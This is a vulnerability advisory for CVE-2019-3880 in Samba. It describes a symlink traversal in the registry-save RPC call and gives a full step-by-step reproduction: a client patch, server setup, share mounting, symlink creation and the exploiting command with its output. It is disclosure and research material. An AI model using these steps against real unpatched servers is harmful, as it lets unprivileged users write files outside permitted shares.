Author: Michael Hanselmann. Updated: April 15, 2019.
Samba is a free software re-implementation of the SMB networking protocol used by Microsoft Windows. In March 2018 I found a vulnerability and reported it to the project using responsible disclosure where it was discussed in bug 13851. The vulnerability ID CVE-2019-3880 was assigned. The following bugfix releases were made on April 8, 2019:
Samba contains an RPC endpoint emulating the Windows registry service API. One of the requests, winreg_SaveKey
, is susceptible to a path/symlink traversal vulnerability. Unprivileged users can use it to save a registry hive file anywhere they have write access, even outside a Samba share.
As far as the author is aware and can determine unprivileged users can't, by default, modify registry keys in Samba. As such they can't control the content of the file. If they could it'd be conceivable to be able to inject code (depending on the configuration shells ignore errors to a certain degree, though in this particular case the NUL bytes would prove a challenge).
The reproduction below demostrates how an unprivileged user (“vagrant”) can create a registry hive file in /home/vagrant
. This is a scenario which can happen if such users don't have shell access (e.g. local or SSH), but can authenticate against Samba shares.
Reproduction environment
Samba compiled from master branch at commit 7d4865610f9542555c (March 18, 2019) running on an x86_64 CentOS 7.6.1810, compiler gcc version 4.8.5 20150623 (Red Hat 4.8.5-36).
Reproduction
Make a minor change to the client code (read access is sufficient and opening the key would fail as an unprivileged user):
diff --git a/source3/utils/net_rpc_registry.c b/source3/utils/net_rpc_registry.c index 84936ee..759d5fa 100644 --- a/source3/utils/net_rpc_registry.c +++ b/source3/utils/net_rpc_registry.c @@ -1131,7 +1131,7 @@ static NTSTATUS rpc_registry_save_internal(struct net_context *c, return NT_STATUS_INVALID_PARAMETER; } - status = registry_openkey(mem_ctx, pipe_hnd, argv[0], REG_KEY_ALL, + status = registry_openkey(mem_ctx, pipe_hnd, argv[0], REG_KEY_READ, &pol_hive, &pol_key); if (!NT_STATUS_IS_OK(status)) { d_fprintf(stderr, _("registry_openkey failed: %s\n"),
Build and install Samba from Git, e.g.:
./configure.developer && make && sudo make install
Write configuration meant only for the reproduction:
$ cat >/usr/local/samba/etc/smb.conf <<'EOF' [global] log file=/usr/local/samba/var/log.%m log level=3 [data] path = /srv/data readonly = no EOF
Add unprivileged user to “users” group:
usermod -G users vagrant
Create directory user has write access to (exported as a share):
mkdir /srv/data chown root:users /srv/data chmod 1777 /srv/data
Run Samba as root:
/usr/local/samba/sbin/smbd -S -F --no-process-group
Mount share on client using unprivileged user (protocol 1 is used to enable Unix extensions such as real symlinks; cifs-utils
needs to be installed):
mount -t cifs -o username=vagrant,vers=1.0 //192.0.2.106/data /mnt
Use client to create symlink on share pointing to the desired destination directory on server:
$ ln -s /home/vagrant /mnt/myhome $ ls -lhd /mnt/myhome lrwxrwxrwx 1 1000 1000 13 Mar 21 01:36 /mnt/myhome -> /home/vagrant
Verify that nothing exists on server:
$ ls -lh /home/vagrant/*.dat ls: cannot access /home/vagrant/*.dat: No such file or directory
Use modified net
program to issue RPC request from client:
net -I 192.0.2.106 -U vagrant rpc registry save HKLM /srv/data/myhome/hklm.dat
Opening the file in reg_api_regf.c:backup_registry_key
will follow the symlink and create a registry dump in /home/vagrant
:
$ ls -lh /home/vagrant/*.dat -rw-------. 1 vagrant vagrant 24K Mar 21 00:42 /home/vagrant/hklm.dat
Note that if the user knows the path of a pre-existing symlink pointing to the desired destination they don't even need write access to a share. The code validating the path given to winreg_SaveKey
in srv_winreg_nt.c:validate_reg_filename
accepts any share path as a path prefix. The very same net rpc registry save
command would also work if the following were the only share and the symlink in /srv/data
already existed:
[noaccess] path = /srv valid users = john readonly = yes